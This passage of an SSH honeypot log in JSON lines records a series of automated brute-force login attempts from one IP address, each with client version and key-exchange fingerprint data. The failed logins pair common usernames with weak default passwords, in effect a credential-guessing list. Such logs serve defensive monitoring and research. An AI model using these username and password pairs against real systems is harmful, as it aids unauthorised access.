sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:59.917021Z","src_ip":"192.109.200.78","session":"429b29e3ad83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123","message":"login attempt [root/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:00.237808Z","src_ip":"192.109.200.78","session":"429b29e3ad83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:01.323041Z","src_ip":"192.109.200.78","session":"429b29e3ad83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49158,"dst_ip":"10.17.0.5","dst_port":22,"session":"e65a7ed62a69","protocol":"ssh","message":"New connection: 192.109.200.78:49158 (10.17.0.5:22) [session: e65a7ed62a69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:03.332796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:03.341196Z","src_ip":"192.109.200.78","session":"e65a7ed62a69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:03.422406Z","src_ip":"192.109.200.78","session":"e65a7ed62a69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"123456","message":"login attempt [server/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:03.669392Z","src_ip":"192.109.200.78","session":"e65a7ed62a69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:04.791228Z","src_ip":"192.109.200.78","session":"e65a7ed62a69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49168,"dst_ip":"10.17.0.5","dst_port":22,"session":"939ada7050bd","protocol":"ssh","message":"New connection: 192.109.200.78:49168 (10.17.0.5:22) [session: 939ada7050bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:06.773004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:06.776974Z","src_ip":"192.109.200.78","session":"939ada7050bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:06.857782Z","src_ip":"192.109.200.78","session":"939ada7050bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"Passw0rd","message":"login attempt [support/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:07.117102Z","src_ip":"192.109.200.78","session":"939ada7050bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:08.201506Z","src_ip":"192.109.200.78","session":"939ada7050bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49178,"dst_ip":"10.17.0.5","dst_port":22,"session":"b5bd01f50103","protocol":"ssh","message":"New connection: 192.109.200.78:49178 (10.17.0.5:22) [session: b5bd01f50103]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:10.445739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:10.449710Z","src_ip":"192.109.200.78","session":"b5bd01f50103","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:10.532865Z","src_ip":"192.109.200.78","session":"b5bd01f50103","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root12345","message":"login attempt [root/root12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:10.778177Z","src_ip":"192.109.200.78","session":"b5bd01f50103","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:11.862280Z","src_ip":"192.109.200.78","session":"b5bd01f50103","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38632,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8c18d6b18f5","protocol":"ssh","message":"New connection: 192.109.200.78:38632 (10.17.0.5:22) [session: e8c18d6b18f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:13.895062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:13.899570Z","src_ip":"192.109.200.78","session":"e8c18d6b18f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:13.980909Z","src_ip":"192.109.200.78","session":"e8c18d6b18f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"passwd","message":"login attempt [gitlab-runner/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:14.246362Z","src_ip":"192.109.200.78","session":"e8c18d6b18f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:15.409361Z","src_ip":"192.109.200.78","session":"e8c18d6b18f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38648,"dst_ip":"10.17.0.5","dst_port":22,"session":"c600ddc64b38","protocol":"ssh","message":"New connection: 192.109.200.78:38648 (10.17.0.5:22) [session: c600ddc64b38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:17.274290Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:17.277631Z","src_ip":"192.109.200.78","session":"c600ddc64b38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:17.486955Z","src_ip":"192.109.200.78","session":"c600ddc64b38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"agent","password":"agent","message":"login attempt [agent/agent] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:17.802343Z","src_ip":"192.109.200.78","session":"c600ddc64b38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:18.885496Z","src_ip":"192.109.200.78","session":"c600ddc64b38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38650,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7d3c3cba8bb","protocol":"ssh","message":"New connection: 192.109.200.78:38650 (10.17.0.5:22) [session: c7d3c3cba8bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:20.974245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:20.978013Z","src_ip":"192.109.200.78","session":"c7d3c3cba8bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:21.058190Z","src_ip":"192.109.200.78","session":"c7d3c3cba8bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"123","message":"login attempt [guest/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:21.299554Z","src_ip":"192.109.200.78","session":"c7d3c3cba8bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:22.385333Z","src_ip":"192.109.200.78","session":"c7d3c3cba8bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55896,"dst_ip":"10.17.0.5","dst_port":22,"session":"d232e90c1b06","protocol":"ssh","message":"New connection: 192.109.200.78:55896 (10.17.0.5:22) [session: d232e90c1b06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:24.360522Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:24.364454Z","src_ip":"192.109.200.78","session":"d232e90c1b06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:24.445222Z","src_ip":"192.109.200.78","session":"d232e90c1b06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"cloud123!","message":"login attempt [cloud/cloud123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:24.690492Z","src_ip":"192.109.200.78","session":"d232e90c1b06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:25.775746Z","src_ip":"192.109.200.78","session":"d232e90c1b06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55914,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c533b2e297a","protocol":"ssh","message":"New connection: 192.109.200.78:55914 (10.17.0.5:22) [session: 4c533b2e297a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:27.730982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:27.744986Z","src_ip":"192.109.200.78","session":"4c533b2e297a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:27.958052Z","src_ip":"192.109.200.78","session":"4c533b2e297a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erp","password":"erp","message":"login attempt [erp/erp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:28.246841Z","src_ip":"192.109.200.78","session":"4c533b2e297a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:29.334958Z","src_ip":"192.109.200.78","session":"4c533b2e297a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55926,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c967d33e36b","protocol":"ssh","message":"New connection: 192.109.200.78:55926 (10.17.0.5:22) [session: 9c967d33e36b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:31.346714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:06:31.350797Z","src_ip":"192.109.200.78","session":"9c967d33e36b","protocol":"ssh"}
